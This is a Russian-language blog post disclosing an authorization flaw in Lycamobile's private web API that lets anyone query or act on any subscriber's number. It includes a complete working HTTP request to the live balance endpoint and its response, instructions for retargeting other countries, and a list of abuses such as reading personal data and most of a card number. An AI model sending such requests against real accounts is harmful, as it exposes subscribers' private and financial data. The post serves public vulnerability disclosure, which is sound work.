Уязвимость в Web API Lycamobile позволяет управлять любым номером оператора +39


image

Доброго времени суток. Меня зовут Алексей. Я занимаюсь разработкой под .NET, pentesting и reverse engineering Android apps. В марте от одного уважаемого человека мне поступил заказ на исследование приложения Lycamobile и описание его private API. После непродолжительных манипуляций я понял логику запросов и уж было приступил к описанию, но заметил что при смене номера телефона в запросе сервер продолжает отдавать данные. Оказалось что сервер просто не проверяет авторизованы ли мы и вся авторизация в приложении не более чем формальность.

Немного цифр. Lycamobile работает в 21 стране мира, капитализация €1.6 billion. Данная уязвимость работает в uk, de, usa. Для остальных стран было лень проверять.

Команды API можно узнать там же на сервере по адресу maccount.lycamobile.co.uk/MyAccountsAPIGBR.svc (как удобно). Сам запрос выглядит так:

POST /MyAccountsAPIGBR.svc/JSON/GetAccountBalance HTTP/1.1
X-Titanium-Id: 28683211-fe39-471b-8b31-fb6babc37e0c
Content-Type: application/json
X-Requested-With: XMLHttpRequest
User-Agent: Appcelerator Titanium/3.2.1 (7 plus; Android API Level: 17; en-US;)
Host: maccount.lycamobile.co.uk
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=zl3jse3wcjlapok2jhxma42u (необязательный параметр)
Cookie2: $Version=1
Content-Length: 84

{"CountryCode":"GBR","LanguageCode":"en","BrandCode":"LYCA","MSISDN":"44742493хххх"}

А в ответ на придет что-то вроде:

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 106
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 26 May 2017 20:57:58 GMT
Proxy-Connection: Keep-alive

{"Response":{"ResponseCode":"0","ResponseDesc":"Success"},"Balance":"10.56","ValidityDate":"17\/02\/2023"}

Для того чтобы использовать уязвимость под другую страну измените переменную CountryCode и Host на данный искомой страны.

С помощью данной уязвимости можно например узнать личные данные пользователя, заказать ему услугу, узнать почти полный номер кредитки и много чего еще. Стоит отметить что личные данные можно узнать только если юзер зарегистрировался в ЛК и ввел их туда.

Я обращался в службу поддержки на fb и email, просил контакты их безопасников. Однако бестолку, мои сообщения либо игнорировали, либо отвечали стандартными фразами. Такое халатное отношение к юзерам особенно в бурже это нонсенс.

Благодарю за внимание. Надеюсь среди нашего сообщества найдутся люди которые покажут данный материал нужным людям и баг пофиксят.
-->


К сожалению, не доступен сервер mySQL